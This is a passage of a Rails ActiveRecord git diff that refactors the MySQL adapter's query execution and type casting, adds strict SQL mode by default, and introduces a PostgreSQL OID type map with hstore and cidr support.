+    # * <tt>:strict</tt> - Defaults to true. Enable STRICT_ALL_TABLES. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.5/en/server-sql-mode.html)
     # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
@@ -119,7 +120,7 @@ module ActiveRecord
 
         private
         def cache
-          @cache[$$]
+          @cache[Process.pid]
         end
       end
 
@@ -214,7 +215,7 @@ module ActiveRecord
 
       def select_rows(sql, name = nil)
         @connection.query_with_result = true
-        rows = exec_without_stmt(sql, name).rows
+        rows = exec_query(sql, name).rows
         @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
         rows
       end
@@ -224,52 +225,48 @@ module ActiveRecord
         @statements.clear
       end
 
-      if "<3".respond_to?(:encode)
-        # Taken from here:
-        #   https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql/charset.rb
-        # Author: TOMITA Masahiro <tommy@tmtm.org>
-        ENCODINGS = {
-          "armscii8" => nil,
-          "ascii"    => Encoding::US_ASCII,
-          "big5"     => Encoding::Big5,
-          "binary"   => Encoding::ASCII_8BIT,
-          "cp1250"   => Encoding::Windows_1250,
-          "cp1251"   => Encoding::Windows_1251,
-          "cp1256"   => Encoding::Windows_1256,
-          "cp1257"   => Encoding::Windows_1257,
-          "cp850"    => Encoding::CP850,
-          "cp852"    => Encoding::CP852,
-          "cp866"    => Encoding::IBM866,
-          "cp932"    => Encoding::Windows_31J,
-          "dec8"     => nil,
-          "eucjpms"  => Encoding::EucJP_ms,
-          "euckr"    => Encoding::EUC_KR,
-          "gb2312"   => Encoding::EUC_CN,
-          "gbk"      => Encoding::GBK,
-          "geostd8"  => nil,
-          "greek"    => Encoding::ISO_8859_7,
-          "hebrew"   => Encoding::ISO_8859_8,
-          "hp8"      => nil,
-          "keybcs2"  => nil,
-          "koi8r"    => Encoding::KOI8_R,
-          "koi8u"    => Encoding::KOI8_U,
-          "latin1"   => Encoding::ISO_8859_1,
-          "latin2"   => Encoding::ISO_8859_2,
-          "latin5"   => Encoding::ISO_8859_9,
-          "latin7"   => Encoding::ISO_8859_13,
-          "macce"    => Encoding::MacCentEuro,
-          "macroman" => Encoding::MacRoman,
-          "sjis"     => Encoding::SHIFT_JIS,
-          "swe7"     => nil,
-          "tis620"   => Encoding::TIS_620,
-          "ucs2"     => Encoding::UTF_16BE,
-          "ujis"     => Encoding::EucJP_ms,
-          "utf8"     => Encoding::UTF_8,
-          "utf8mb4"  => Encoding::UTF_8,
-        }
-      else
-        ENCODINGS = Hash.new { |h,k| h[k] = k }
-      end
+      # Taken from here:
+      #   https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql/charset.rb
+      # Author: TOMITA Masahiro <tommy@tmtm.org>
+      ENCODINGS = {
+        "armscii8" => nil,
+        "ascii"    => Encoding::US_ASCII,
+        "big5"     => Encoding::Big5,
+        "binary"   => Encoding::ASCII_8BIT,
+        "cp1250"   => Encoding::Windows_1250,
+        "cp1251"   => Encoding::Windows_1251,
+        "cp1256"   => Encoding::Windows_1256,
+        "cp1257"   => Encoding::Windows_1257,
+        "cp850"    => Encoding::CP850,
+        "cp852"    => Encoding::CP852,
+        "cp866"    => Encoding::IBM866,
+        "cp932"    => Encoding::Windows_31J,
+        "dec8"     => nil,
+        "eucjpms"  => Encoding::EucJP_ms,
+        "euckr"    => Encoding::EUC_KR,
+        "gb2312"   => Encoding::EUC_CN,
+        "gbk"      => Encoding::GBK,
+        "geostd8"  => nil,
+        "greek"    => Encoding::ISO_8859_7,
+        "hebrew"   => Encoding::ISO_8859_8,
+        "hp8"      => nil,
+        "keybcs2"  => nil,
+        "koi8r"    => Encoding::KOI8_R,
+        "koi8u"    => Encoding::KOI8_U,
+        "latin1"   => Encoding::ISO_8859_1,
+        "latin2"   => Encoding::ISO_8859_2,
+        "latin5"   => Encoding::ISO_8859_9,
+        "latin7"   => Encoding::ISO_8859_13,
+        "macce"    => Encoding::MacCentEuro,
+        "macroman" => Encoding::MacRoman,
+        "sjis"     => Encoding::SHIFT_JIS,
+        "swe7"     => nil,
+        "tis620"   => Encoding::TIS_620,
+        "ucs2"     => Encoding::UTF_16BE,
+        "ujis"     => Encoding::EucJP_ms,
+        "utf8"     => Encoding::UTF_8,
+        "utf8mb4"  => Encoding::UTF_8,
+      }
 
       # Get the client encoding for this database
       def client_encoding
@@ -282,31 +279,164 @@ module ActiveRecord
       end
 
       def exec_query(sql, name = 'SQL', binds = [])
-        log(sql, name, binds) do
-          exec_stmt(sql, name, binds) do |cols, stmt|
-            ActiveRecord::Result.new(cols, stmt.to_a) if cols
-          end
+        # If the configuration sets prepared_statements:false, binds will
+        # always be empty, since the bind variables will have been already
+        # substituted and removed from binds by BindVisitor, so this will
+        # effectively disable prepared statement usage completely.
+        if binds.empty?
+          result_set, affected_rows = exec_without_stmt(sql, name)
+        else
+          result_set, affected_rows = exec_stmt(sql, name, binds)
         end
+
+        yield affected_rows if block_given?
+
+        result_set
       end
 
       def last_inserted_id(result)
         @connection.insert_id
       end
 
+      module Fields
+        class Type
+          def type; end
+
+          def type_cast_for_write(value)
+            value
+          end
+        end
+
+        class Identity < Type
+          def type_cast(value); value; end
+        end
+
+        class Integer < Type
+          def type_cast(value)
+            return if value.nil?
+
+            value.to_i rescue value ? 1 : 0
+          end
+        end
+
+        class Date < Type
+          def type; :date; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is mysql
+            # specific
+            ConnectionAdapters::Column.value_to_date value
+          end
+        end
+
+        class DateTime < Type
+          def type; :datetime; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is mysql
+            # specific
+            ConnectionAdapters::Column.string_to_time value
+          end
+        end
+
+        class Time < Type
+          def type; :time; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is mysql
+            # specific
+            ConnectionAdapters::Column.string_to_dummy_time value
+          end
+        end
+
+        class Float < Type
+          def type; :float; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            value.to_f
+          end
+        end
+
+        class Decimal < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::Column.value_to_decimal value
+          end
+        end
+
+        class Boolean < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::Column.value_to_boolean value
+          end
+        end
+
+        TYPES = {}
+
+        # Register an MySQL +type_id+ with a typcasting object in
+        # +type+.
+        def self.register_type(type_id, type)
+          TYPES[type_id] = type
+        end
+
+        def self.alias_type(new, old)
+          TYPES[new] = TYPES[old]
+        end
+
+        register_type Mysql::Field::TYPE_TINY,    Fields::Boolean.new
+        register_type Mysql::Field::TYPE_LONG,    Fields::Integer.new
+        alias_type Mysql::Field::TYPE_LONGLONG,   Mysql::Field::TYPE_LONG
+        alias_type Mysql::Field::TYPE_NEWDECIMAL, Mysql::Field::TYPE_LONG
+
+        register_type Mysql::Field::TYPE_VAR_STRING, Fields::Identity.new
+        register_type Mysql::Field::TYPE_BLOB, Fields::Identity.new
+        register_type Mysql::Field::TYPE_DATE, Fields::Date.new
+        register_type Mysql::Field::TYPE_DATETIME, Fields::DateTime.new
+        register_type Mysql::Field::TYPE_TIME, Fields::Time.new
+        register_type Mysql::Field::TYPE_FLOAT, Fields::Float.new
+
+        Mysql::Field.constants.grep(/TYPE/).map { |class_name|
+          Mysql::Field.const_get class_name
+        }.reject { |const| TYPES.key? const }.each do |const|
+          register_type const, Fields::Identity.new
+        end
+      end
+
       def exec_without_stmt(sql, name = 'SQL') # :nodoc:
         # Some queries, like SHOW CREATE TABLE don't work through the prepared
         # statement API. For those queries, we need to use this method. :'(
         log(sql, name) do
           result = @connection.query(sql)
-          cols = []
-          rows = []
+          affected_rows = @connection.affected_rows
 
           if result
-            cols = result.fetch_fields.map { |field| field.name }
-            rows = result.to_a
+            types = {}
+            result.fetch_fields.each { |field|
+              if field.decimals > 0
+                types[field.name] = Fields::Decimal.new
+              else
+                types[field.name] = Fields::TYPES.fetch(field.type) {
+                  Fields::Identity.new
+                }
+              end
+            }
+            result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
             result.free
+          else
+            result_set = ActiveRecord::Result.new([], [])
           end
-          ActiveRecord::Result.new(cols, rows)
+
+          [result_set, affected_rows]
         end
       end
 
@@ -324,16 +454,18 @@ module ActiveRecord
       alias :create :insert_sql
 
       def exec_delete(sql, name, binds)
-        log(sql, name, binds) do
-          exec_stmt(sql, name, binds) do |cols, stmt|
-            stmt.affected_rows
-          end
+        affected_rows = 0
+
+        exec_query(sql, name, binds) do |n|
+          affected_rows = n
         end
+
+        affected_rows
       end
       alias :exec_update :exec_delete
 
       def begin_db_transaction #:nodoc:
-        exec_without_stmt "BEGIN"
+        exec_query "BEGIN"
       rescue Mysql::Error
         # Transactions aren't supported
       end
@@ -342,41 +474,44 @@ module ActiveRecord
 
       def exec_stmt(sql, name, binds)
         cache = {}
-        if binds.empty?
-          stmt = @connection.prepare(sql)
-        else
-          cache = @statements[sql] ||= {
-            :stmt => @connection.prepare(sql)
-          }
-          stmt = cache[:stmt]
-        end
+        log(sql, name, binds) do
+          if binds.empty?
+            stmt = @connection.prepare(sql)
+          else
+            cache = @statements[sql] ||= {
+              :stmt => @connection.prepare(sql)
+            }
+            stmt = cache[:stmt]
+          end
 
-        begin
-          stmt.execute(*binds.map { |col, val| type_cast(val, col) })
-        rescue Mysql::Error => e
-          # Older versions of MySQL leave the prepared statement in a bad
-          # place when an error occurs. To support older mysql versions, we
-          # need to close the statement and delete the statement from the
-          # cache.
-          stmt.close
-          @statements.delete sql
-          raise e
-        end
+          begin
+            stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+          rescue Mysql::Error => e
+            # Older versions of MySQL leave the prepared statement in a bad
+            # place when an error occurs. To support older mysql versions, we
+            # need to close the statement and delete the statement from the
+            # cache.
+            stmt.close
+            @statements.delete sql
+            raise e
+          end
 
-        cols = nil
-        if metadata = stmt.result_metadata
-          cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
-            field.name
-          }
-        end
+          cols = nil
+          if metadata = stmt.result_metadata
+            cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
+              field.name
+            }
+          end
 
-        result = yield [cols, stmt]
+          result_set = ActiveRecord::Result.new(cols, stmt.to_a) if cols
+          affected_rows = stmt.affected_rows
 
-        stmt.result_metadata.free if cols
-        stmt.free_result
-        stmt.close if binds.empty?
+          stmt.result_metadata.free if cols
+          stmt.free_result
+          stmt.close if binds.empty?
 
-        result
+          [result_set, affected_rows]
+        end
       end
 
       def connect
@@ -408,11 +543,18 @@ module ActiveRecord
         # By default, MySQL 'where id is null' selects the last inserted id.
         # Turn this off. http://dev.rubyonrails.org/ticket/6778
         execute("SET SQL_AUTO_IS_NULL=0", :skip_logging)
+
+        # Make MySQL reject illegal values rather than truncating or
+        # blanking them. See
+        # http://dev.mysql.com/doc/refman/5.5/en/server-sql-mode.html#sqlmode_strict_all_tables
+        if @config.fetch(:strict, true)
+          execute("SET SQL_MODE='STRICT_ALL_TABLES'", :skip_logging)
+        end
       end
 
       def select(sql, name = nil, binds = [])
         @connection.query_with_result = true
-        rows = exec_query(sql, name, binds).to_a
+        rows = exec_query(sql, name, binds)
         @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
         rows
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
new file mode 100644
index 0000000000..6657491c06
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -0,0 +1,253 @@
+require 'active_record/connection_adapters/abstract_adapter'
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter < AbstractAdapter
+      module OID
+        class Type
+          def type; end
+
+          def type_cast_for_write(value)
+            value
+          end
+        end
+
+        class Identity < Type
+          def type_cast(value)
+            value
+          end
+        end
+
+        class Bytea < Type
+          def type_cast(value)
+            PGconn.unescape_bytea value
+          end
+        end
+
+        class Money < Type
+          def type_cast(value)
+            return if value.nil?
+
+            # Because money output is formatted according to the locale, there are two
+            # cases to consider (note the decimal separators):
+            #  (1) $12,345,678.12
+            #  (2) $12.345.678,12
+
+            case value
+            when /^-?\D+[\d,]+\.\d{2}$/  # (1)
+              value.gsub!(/[^-\d.]/, '')
+            when /^-?\D+[\d.]+,\d{2}$/  # (2)
+              value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+            end
+
+            ConnectionAdapters::Column.value_to_decimal value
+          end
+        end
+
+        class Vector < Type
+          attr_reader :delim, :subtype
+
+          # +delim+ corresponds to the `typdelim` column in the pg_types
+          # table.  +subtype+ is derived from the `typelem` column in the
+          # pg_types table.
+          def initialize(delim, subtype)
+            @delim   = delim
+            @subtype = subtype
+          end
+
+          # FIXME: this should probably split on +delim+ and use +subtype+
+          # to cast the values.  Unfortunately, the current Rails behavior
+          # is to just return the string.
+          def type_cast(value)
+            value
+          end
+        end
+
+        class Integer < Type
+          def type_cast(value)
+            return if value.nil?
+
+            value.to_i rescue value ? 1 : 0
+          end
+        end
+
+        class Boolean < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::Column.value_to_boolean value
+          end
+        end
+
+        class Timestamp < Type
+          def type; :timestamp; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is PG
+            # specific
+            ConnectionAdapters::PostgreSQLColumn.string_to_time value
+          end
+        end
+
+        class Date < Type
+          def type; :datetime; end
+
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is PG
+            # specific
+            ConnectionAdapters::Column.value_to_date value
+          end
+        end
+
+        class Time < Type
+          def type_cast(value)
+            return if value.nil?
+
+            # FIXME: probably we can improve this since we know it is PG
+            # specific
+            ConnectionAdapters::Column.string_to_dummy_time value
+          end
+        end
+
+        class Float < Type
+          def type_cast(value)
+            return if value.nil?
+
+            value.to_f
+          end
+        end
+
+        class Decimal < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::Column.value_to_decimal value
+          end
+        end
+
+        class Hstore < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
+          end
+        end
+
+        class Cidr < Type
+          def type_cast(value)
+            return if value.nil?
+
+            ConnectionAdapters::PostgreSQLColumn.string_to_cidr value
+          end
+        end
+
+        class TypeMap
+          def initialize
+            @mapping = {}
+          end
+
+          def []=(oid, type)
+            @mapping[oid] = type
+          end
+
+          def [](oid)
+            @mapping[oid]
+          end
+
+          def key?(oid)
+            @mapping.key? oid
+          end
+
+          def fetch(ftype, fmod)
+            # The type for the numeric depends on the width of the field,
+            # so we'll do something special here.
+            #
+            # When dealing with decimal columns:
+            #
+            # places after decimal  = fmod - 4 & 0xffff
+            # places before decimal = (fmod - 4) >> 16 & 0xffff
+            if ftype == 1700 && (fmod - 4 & 0xffff).zero?
+              ftype = 23
+            end
+
+            @mapping.fetch(ftype) { |oid| yield oid, fmod }
+          end
+        end
+
+        TYPE_MAP = TypeMap.new # :nodoc:
+
+        # When the PG adapter connects, the pg_type table is queried.  The
+        # key of this hash maps to the `typname` column from the table.
+        # TYPE_MAP is then dynamically built with oids as the key and type
+        # objects as values.
+        NAMES = Hash.new { |h,k| # :nodoc:
+          h[k] = OID::Identity.new
+        }
+
+        # Register an OID type named +name+ with a typcasting object in
+        # +type+.  +name+ should correspond to the `typname` column in
+        # the `pg_type` table.
+        def self.register_type(name, type)
+          NAMES[name] = type
+        end
+
+        # Alias the +old+ type to the +new+ type.
+        def self.alias_type(new, old)
+          NAMES[new] = NAMES[old]
+        end
+
+        # Is +name+ a registered type?
+        def self.registered_type?(name)
+          NAMES.key? name
+        end
+
+        register_type 'int2', OID::Integer.new
+        alias_type    'int4', 'int2'
+        alias_type    'int8', 'int2'
+        alias_type    'oid',  'int2'
+
+        register_type 'numeric', OID::Decimal.new
+        register_type 'text', OID::Identity.new
+        alias_type 'varchar', 'text'
+        alias_type 'char', 'text'
+        alias_type 'bpchar', 'text'
+        alias_type 'xml', 'text'
+
+        # FIXME: why are we keeping these types as strings?
+        alias_type 'tsvector', 'text'
+        alias_type 'interval', 'text'
+        alias_type 'bit',      'text'
+        alias_type 'varbit',   'text'
+        alias_type 'macaddr',  'text'
+        alias_type 'uuid',     'text'
+
+        # FIXME: I don't think this is correct. We should probably be returning a parsed date,
+        # but the tests pass with a string returned.
+        register_type 'timestamptz', OID::Identity.new
+
+        register_type 'money', OID::Money.new
+        register_type 'bytea', OID::Bytea.new
+        register_type 'bool', OID::Boolean.new
+
+        register_type 'float4', OID::Float.new
+        alias_type 'float8', 'float4'
+
+        register_type 'timestamp', OID::Timestamp.new
+        register_type 'date', OID::Date.new
+        register_type 'time', OID::Time.new
+
+        register_type 'path', OID::Identity.new
+        register_type 'polygon', OID::Identity.new
+        register_type 'circle', OID::Identity.new
+        register_type 'hstore', OID::Hstore.new
+
+        register_type 'cidr', OID::Cidr.new
+        alias_type 'inet', 'cidr'
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index b7918c7f07..40cd65cce9 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,30 +1,35 @@
 require 'active_record/connection_adapters/abstract_adapter'
-require 'active_support/core_ext/object/blank'
 require 'active_record/connection_adapters/statement_pool'
+require 'active_record/connection_adapters/postgresql/oid'
+require 'arel/visitors/bind_visitor'
 
 # Make sure we're using pg high enough for PGResult#values
 gem 'pg', '~> 0.11'
 require 'pg'
 
+require 'ipaddr'
+
 module ActiveRecord
-  class Base
+  module ConnectionHandling
     # Establishes a connection to the database that's used by all Active Record objects
-    def self.postgresql_connection(config) # :nodoc:
-      config = config.symbolize_keys
-      host     = config[:host]
-      port     = config[:port] || 5432
-      username = config[:username].to_s if config[:username]
-      password = config[:password].to_s if config[:password]
+    def postgresql_connection(config) # :nodoc:
+      conn_params = config.symbolize_keys
 
-      if config.key?(:database)
-        database = config[:database]
-      else
-        raise ArgumentError, "No database specified. Missing argument: database."
+      # Forward any unused config params to PGconn.connect.
+      [:statement_limit, :encoding, :min_messages, :schema_search_path,
+       :schema_order, :adapter, :pool, :checkout_timeout, :template,
+       :reaping_frequency, :insert_returning].each do |key|
+        conn_params.delete key
       end
+      conn_params.delete_if { |k,v| v.nil? }
+
+      # Map ActiveRecords param names to PGs.
+      conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+      conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
 
       # The postgres drivers don't allow the creation of an unconnected PGconn object,
       # so just pass a nil connection object for the time being.
-      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, [host, port, nil, nil, database, username, password], config)
+      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, conn_params, config)
     end
   end
 
@@ -32,7 +37,8 @@ module ActiveRecord
     # PostgreSQL-specific extensions to column definitions in a table.
     class PostgreSQLColumn < Column #:nodoc:
       # Instantiates a new PostgreSQL column definition in a table.
-      def initialize(name, default, sql_type = nil, null = true)
+      def initialize(name, default, oid_type, sql_type = nil, null = true)
+        @oid_type = oid_type
         super(name, self.class.extract_value_from_default(default), sql_type, null)
       end
 
@@ -49,161 +55,244 @@ module ActiveRecord
             super
           end
         end
-      end
-      # :startdoc:
 
-      private
-        def extract_limit(sql_type)
-          case sql_type
-          when /^bigint/i;    8
-          when /^smallint/i;  2
-          else super
+        def hstore_to_string(object)
+          if Hash === object
+            object.map { |k,v|
+              "#{escape_hstore(k)}=>#{escape_hstore(v)}"
+            }.join ','
+          else
+            object
           end
         end
 
-        # Extracts the scale from PostgreSQL-specific data types.
-        def extract_scale(sql_type)
-          # Money type has a fixed scale of 2.
-          sql_type =~ /^money/ ? 2 : super
+        def string_to_hstore(string)
+          if string.nil?
+            nil
+          elsif String === string
+            Hash[string.scan(HstorePair).map { |k,v|
+              v = v.upcase == 'NULL' ? nil : v.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
+              k = k.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
+              [k,v]
+            }]
+          else
+            string
+          end
         end
 
-        # Extracts the precision from PostgreSQL-specific data types.
-        def extract_precision(sql_type)
-          if sql_type == 'money'
-            self.class.money_precision
+        def string_to_cidr(string)
+          if string.nil?
+            nil
+          elsif String === string
+            IPAddr.new(string)
           else
-            super
+            string
           end
         end
 
-        # Maps PostgreSQL-specific data types to logical Rails types.
-        def simplified_type(field_type)
-          case field_type
-            # Numeric and monetary types
-            when /^(?:real|double precision)$/
-              :float
-            # Monetary types
-            when 'money'
-              :decimal
-            # Character types
-            when /^(?:character varying|bpchar)(?:\(\d+\))?$/
-              :string
-            # Binary data types
-            when 'bytea'
-              :binary
-            # Date/time types
-            when /^timestamp with(?:out)? time zone$/
-              :datetime
-            when 'interval'
-              :string
-            # Geometric types
-            when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
-              :string
-            # Network address types
-            when /^(?:cidr|inet|macaddr)$/
-              :string
-            # Bit strings
-            when /^bit(?: varying)?(?:\(\d+\))?$/
-              :string
-            # XML type
-            when 'xml'
-              :xml
-            # tsvector type
-            when 'tsvector'
-              :tsvector
-            # Arrays
-            when /^\D+\[\]$/
-              :string
-            # Object identifier types
-            when 'oid'
-              :integer
-            # UUID type
-            when 'uuid'
-              :string
-            # Small and big integer types
-            when /^(?:small|big)int$/
-              :integer
-            # Pass through all types that are not specific to PostgreSQL.
-            else
-              super
+        def cidr_to_string(object)
+          if IPAddr === object
+            "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+          else
+            object
           end
         end
 
-        # Extracts the value from a PostgreSQL column default definition.
-        def self.extract_value_from_default(default)
-          case default
-            # This is a performance optimization for Ruby 1.9.2 in development.
-            # If the value is nil, we return nil straight away without checking
-            # the regular expressions. If we check each regular expression,
-            # Regexp#=== will call NilClass#to_str, which will trigger
-            # method_missing (defined by whiny nil in ActiveSupport) which
-            # makes this method very very slow.
-            when NilClass
-              nil
-            # Numeric types
-            when /\A\(?(-?\d+(\.\d*)?\)?)\z/
-              $1
-            # Character types
-            when /\A'(.*)'::(?:character varying|bpchar|text)\z/m
-              $1
-            # Character types (8.1 formatting)
-            when /\AE'(.*)'::(?:character varying|bpchar|text)\z/m
-              $1.gsub(/\\(\d\d\d)/) { $1.oct.chr }
-            # Binary data types
-            when /\A'(.*)'::bytea\z/m
-              $1
-            # Date/time types
-            when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
-              $1
-            when /\A'(.*)'::interval\z/
-              $1
-            # Boolean type
-            when 'true'
-              true
-            when 'false'
-              false
-            # Geometric types
-            when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
-              $1
-            # Network address types
-            when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
-              $1
-            # Bit string types
-            when /\AB'(.*)'::"?bit(?: varying)?"?\z/
-              $1
-            # XML type
-            when /\A'(.*)'::xml\z/m
-              $1
-            # Arrays
-            when /\A'(.*)'::"?\D+"?\[\]\z/
-              $1
-            # Object identifier types
-            when /\A-?\d+\z/
-              $1
-            else
-              # Anything else is blank, some user type, or some function
-              # and we can't know the value of that, so return nil.
-              nil
-          end
+        private
+        HstorePair = begin
+          quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+          unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+          /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+        end
+
+        def escape_hstore(value)
+            value.nil?         ? 'NULL'
+          : value == ""        ? '""'
+          :                      '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+        end
+      end
+      # :startdoc:
+
+      # Extracts the value from a PostgreSQL column default definition.
+      def self.extract_value_from_default(default)
+        # This is a performance optimization for Ruby 1.9.2 in development.
+        # If the value is nil, we return nil straight away without checking
+        # the regular expressions. If we check each regular expression,
+        # Regexp#=== will call NilClass#to_str, which will trigger
+        # method_missing (defined by whiny nil in ActiveSupport) which
+        # makes this method very very slow.
+        return default unless default
+
+        case default
+          # Numeric types
+          when /\A\(?(-?\d+(\.\d*)?\)?)\z/
+            $1
+          # Character types
+          when /\A'(.*)'::(?:character varying|bpchar|text)\z/m
+            $1
+          # Character types (8.1 formatting)
+          when /\AE'(.*)'::(?:character varying|bpchar|text)\z/m
+            $1.gsub(/\\(\d\d\d)/) { $1.oct.chr }
+          # Binary data types
+          when /\A'(.*)'::bytea\z/m
+            $1
+          # Date/time types
+          when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
+            $1
+          when /\A'(.*)'::interval\z/
+            $1
+          # Boolean type
+          when 'true'
+            true
+          when 'false'
+            false
+          # Geometric types
+          when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
+            $1
+          # Network address types
+          when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
+            $1
+          # Bit string types
+          when /\AB'(.*)'::"?bit(?: varying)?"?\z/
+            $1
+          # XML type
+          when /\A'(.*)'::xml\z/m
+            $1
+          # Arrays
+          when /\A'(.*)'::"?\D+"?\[\]\z/
+            $1
+          # Hstore
+          when /\A'(.*)'::hstore\z/
+            $1
+          # Object identifier types
+          when /\A-?\d+\z/
+            $1
+          else
+            # Anything else is blank, some user type, or some function
+            # and we can't know the value of that, so return nil.
+            nil
+        end
+      end
+
+      def type_cast(value)
+        return if value.nil?
+        return super if encoded?
+
+        @oid_type.type_cast value
+      end
+
+      private
+      def extract_limit(sql_type)
+        case sql_type
+        when /^bigint/i;    8
+        when /^smallint/i;  2
+        when /^timestamp/i; nil
+        else super
+        end
+      end
+
+      # Extracts the scale from PostgreSQL-specific data types.
+      def extract_scale(sql_type)
+        # Money type has a fixed scale of 2.
+        sql_type =~ /^money/ ? 2 : super
+      end
+
+      # Extracts the precision from PostgreSQL-specific data types.
+      def extract_precision(sql_type)
+        if sql_type == 'money'
+          self.class.money_precision
+        elsif sql_type =~ /timestamp/i
+          $1.to_i if sql_type =~ /\((\d+)\)/
+        else
+          super
+        end
+      end
+
+      # Maps PostgreSQL-specific data types to logical Rails types.
+      def simplified_type(field_type)
+        case field_type
+        # Numeric and monetary types
+        when /^(?:real|double precision)$/
+          :float
+        # Monetary types
+        when 'money'
+          :decimal
+        when 'hstore'
+          :hstore
+        # Network address types
+        when 'inet'
+          :inet
+        when 'cidr'
+          :cidr
+        when 'macaddr'
+          :macaddr
+        # Character types
+        when /^(?:character varying|bpchar)(?:\(\d+\))?$/
+          :string
+        # Binary data types
+        when 'bytea'
+          :binary
+        # Date/time types
+        when /^timestamp with(?:out)? time zone$/
+          :datetime
+        when 'interval'
+          :string
+        # Geometric types
+        when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
+          :string
+        # Bit strings
+        when /^bit(?: varying)?(?:\(\d+\))?$/
+          :string
+        # XML type
+        when 'xml'
+          :xml
+        # tsvector type
+        when 'tsvector'
+          :tsvector
+        # Arrays
+        when /^\D+\[\]$/
+          :string
+        # Object identifier types
+        when 'oid'
+          :integer
+        # UUID type
+        when 'uuid'
+          :uuid
+        # Small and big integer types
+        when /^(?:small|big)int$/
+          :integer
+        # Pass through all types that are not specific to PostgreSQL.
+        else
+          super
         end
+      end
     end
 
-    # The PostgreSQL adapter works both with the native C (http://ruby.scripting.ca/postgres/) and the pure
-    # Ruby (available both as gem and from http://rubyforge.org/frs/?group_id=234&release_id=1944) drivers.
+    # The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
     #
     # Options:
     #
-    # * <tt>:host</tt> - Defaults to "localhost".
+    # * <tt>:host</tt> - Defaults to a Unix-domain socket in /tmp. On machines without Unix-domain sockets,
+    #   the default is to connect to localhost.
     # * <tt>:port</tt> - Defaults to 5432.
-    # * <tt>:username</tt> - Defaults to nothing.
-    # * <tt>:password</tt> - Defaults to nothing.
-    # * <tt>:database</tt> - The name of the database. No default, must be provided.
+    # * <tt>:username</tt> - Defaults to be the same as the operating system name of the user running the application.
+    # * <tt>:password</tt> - Password to be used if the server demands password authentication.
+    # * <tt>:database</tt> - Defaults to be the same as the user name.
     # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given
     #   as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option.
     # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO
     #   <encoding></tt> call on the connection.
     # * <tt>:min_messages</tt> - An optional client min messages that is used in a
     #   <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
+    # * <tt>:insert_returning</tt> - An optional boolean to control the use or <tt>RETURNING</tt> for <tt>INSERT<tt> statements
+    #   defaults to true.
+    #
+    # Any further options are used as connection parameters to libpq. See
+    # http://www.postgresql.org/docs/9.1/static/libpq-connect.html for the
+    # list of parameters.
+    #
+    # In addition, default connection parameters of libpq can be set per environment variables.
+    # See http://www.postgresql.org/docs/9.1/static/libpq-envars.html .
     class PostgreSQLAdapter < AbstractAdapter
       class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
         def xml(*args)
@@ -215,6 +304,26 @@ module ActiveRecord
           options = args.extract_options!
           column(args[0], 'tsvector', options)
